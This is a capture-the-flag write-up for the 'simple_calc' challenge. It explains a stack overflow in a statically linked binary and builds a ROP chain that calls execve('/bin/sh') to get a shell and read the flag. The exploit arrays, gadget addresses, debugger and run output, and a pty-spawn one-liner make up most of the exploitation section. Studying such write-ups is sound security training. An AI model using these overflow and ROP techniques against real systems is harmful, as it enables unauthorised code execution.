Info
~/cur/simple_calc $ file b28b103ea5f1171553554f0127696a18c6d2dcf7
b28b103ea5f1171553554f0127696a18c6d2dcf7: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=3ca876069b2b8dc3f412c6205592a1d7523ba9ea, not stripped
~/cur/simple_calc $ checksec.sh --file b28b103ea5f1171553554f0127696a18c6d2dcf7
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH b28b103ea5f1171553554f0127696a18c6d2dcf7
Vulnerability
simple_calc
offered a binary that expects us to make some calculations. It will ask for a number of calculations (say N) to perform and will malloc()
Nx4 bytes in the heap. If we decompile with IDA, it’ll look something like this:
Then a loop of N iterations will commence, each iteration offering to perform one of the possible arithmetic operations, ADD/SUB/MUL/DIV, or exit. Those operations perform pretty much what you expect of them, which take in 2 DWORD operands, and apply the function. What is worth noticing is that both operands and result are stored in the .bss
(therefore at predictable addresses).
[...]
.bss:00000000006C4A84 add_operator_2 dd ? ; DATA XREF: adds+40
.bss:00000000006C4A84 ; adds+69 ...
.bss:00000000006C4A88 add_result dd ? ; DATA XREF: adds+96
.bss:00000000006C4A88 ; adds+9C ...
.bss:00000000006C4A8C align 10h
.bss:00000000006C4A90 public div_operator_1
.bss:00000000006C4A90 div_operator_1 dd ? ; DATA XREF: divs+13
.bss:00000000006C4A90 ; divs+5E ...
.bss:00000000006C4A94 div_operator_2 dd ? ; DATA XREF: divs+40
.bss:00000000006C4A94 ; divs+69 ...
.bss:00000000006C4A98 div_result dd ? ; DATA XREF: divs+9B
[...]
By exiting, simple_calc
performs a memcpy()
of the malloc-ed buffer (whose length is controlled by us) into a stack buffer (of length 0x28 bytes) located at $rbp+40h.
It is then easy to spot the trivial stack buffer overflow.
Exploitation
When an operation is finished, the resulting DWORD is stored inside the malloc-ed buffer at the offset corresponding of the main loop iteration. So the game here is to play with those (basic) arithmetic operations to write arbitrary data in the malloc-ed buffer: for example, if we want to write 0x10001000 | 0x20002000 in our malloc-ed buffer, we would create 2 operations, then perform:
- an ADD with op1=0x10000000 and op2=0x00001000
- an ADD with op1=0x20000000 and op2=0x00002000
- and so on
By calling successively the same arithmetic operation, say ADD
(or any other), we have a predictable way to populate the malloc-ed buffer.
To corrupt the memory we must fill the stack buffer entirely (40 bytes), so make at least 10 operations. The stack buffer is followed (in the memory layout) by variables, so we add 24 bytes of junk (3 QWORD), another QWORD for overwriting the SFP, and a last to overwrite RIP.
def pwn(s):
addrs = [0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141,
0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141,
0x42424242, 0x43434343, # overwritten vars
0x44444444, 0x44444444, # overwritten vars
0x44444444, 0x44444444, # overwritten vars
0x44444444, 0x44444444, # sfp
0x45454545, 0x45454545, # rip
]
We execute and a SIGSEGV was well caught (as seen with gef
) :
However, the faulty instruction is in the free()
following the memcpy()
and yet not in the return from the main function. free()
is trying to remove the chunk pointed by the value stored in $rdi (here 0x4444444444444444). However, a quick look in the man page (man 3 free
) and we find our solution:
The free() function frees the memory space pointed to by ptr,[…] If ptr is NULL, no operation is performed.
So let’s rebuild our stack accordingly:
def pwn(s):
addrs = [0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141,
0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141,
0x42424242, 0x43434343, # overwritten vars
0x00000000, 0x00000000, # for free(NULL)
0x44444444, 0x44444444, # overwritten vars
0x44444444, 0x44444444, # sfp
0x45454545, 0x45454545, # rip
]
We try again, and we hit the SIGSEGV in the RET. Perfect, time to bypass NX.
Program received signal SIGSEGV, Segmentation fault.
[...]
0x40157c <main+505> mov edi,eax
0x40157e <main+507> call 0x4156d0 <free>
0x401583 <main+512> mov eax,0x0
0x401588 <main+517> leave
0x401589 <main+518> ret ← $pc
0x40158a nop WORD PTR [rax+rax*1+0x0]
0x401590 <__libc_start_main> push r14
We want to have a shell (what else, right?) so we need all the gadgets to syscall execve(‘/bin/sh’, 0, 0).
Bypassing NX is not that hard, all we need are the right gadgets. We choose a writable address, and write ‘/bin//sh’ (we arbitrarily chose 0x6c3110 in the .bss
). Using ropgadget
makes it easier than ever:
0x401c87: # pop rsi ; ret
0x6c3110: # our writable address
0x44db34: # pop rax ; ret
0x6e69622f, 0x68732f2f, # /bin//sh
0x470f11 # mov qword ptr [rsi], rax ; ret
0x447233: # mov rax,rsi; ret
0x479295 # mov edi, eax ; dec dword ptr [rax - 0x77] ; ret
At this stage, we have /bin//sh
written @0x6c3110 and this address inside the EDI register. Then we can use the gadget 0x437aa9: pop rdx ; pop rsi ; ret
to populate RSI and RDX with 0. Because it embeds a libc, the binary is full of syscall
instructions, we’ll use the one at 0x435675.
We now have our full chain:
def pwn(s):
addrs = [0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141,
0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141,
0x42424242, 0x43434343, # overwritten vars
0x00000000, 0x00000000, # for free(NULL)
0x44444444, 0x44444444, # last overwritten vars
0x44444444, 0x44444444, # sfp
0x401c87, 0, # pop rsi ; ret
0x6c3110, 0x0, # addr rw
0x44db34, 0, # pop rax ; ret
0x6e69622f, 0x68732f2f, # /bin//sh
0x470f11, 0, # mov qword ptr [rsi], rax ; ret
0x447233, 0, # mov rax,rsi; ret
0x479295, 0, # mov edi, eax ; dec dword ptr [rax - 0x77] ; ret
0x44db34, 0x0, # pop rax
0x3b, 0, # syscall_execve
0x437aa9, 0x0, # pop rdx ; pop rsi ; ret
0, 0,
0, 0,
0x435675, 0, # syscall()
]
Run and pwn !
/cur/simple_calc $ ./simple_calc.py [23:36]
[+] Connected to localhost:5400
[+] Running 45 calculations
[+] Iter 1: got result 0x41414141
[+] Iter 2: got result 0x41414141
[+] Iter 3: got result 0x41414141
[+] Iter 4: got result 0x41414141
[+] Iter 5: got result 0x41414141
[+] Iter 6: got result 0x41414141
[+] Iter 7: got result 0x41414141
[...]
[+] Triggering exploit
[+] Got it, interacting (Ctrl-C to break)
[+] Get a PTY with ' python -c "import pty;pty.spawn('/bin/bash')" '
ls
key
simple_calc
cat key
BKPCTF{what_is_2015_minus_7547}
The full exploit is here.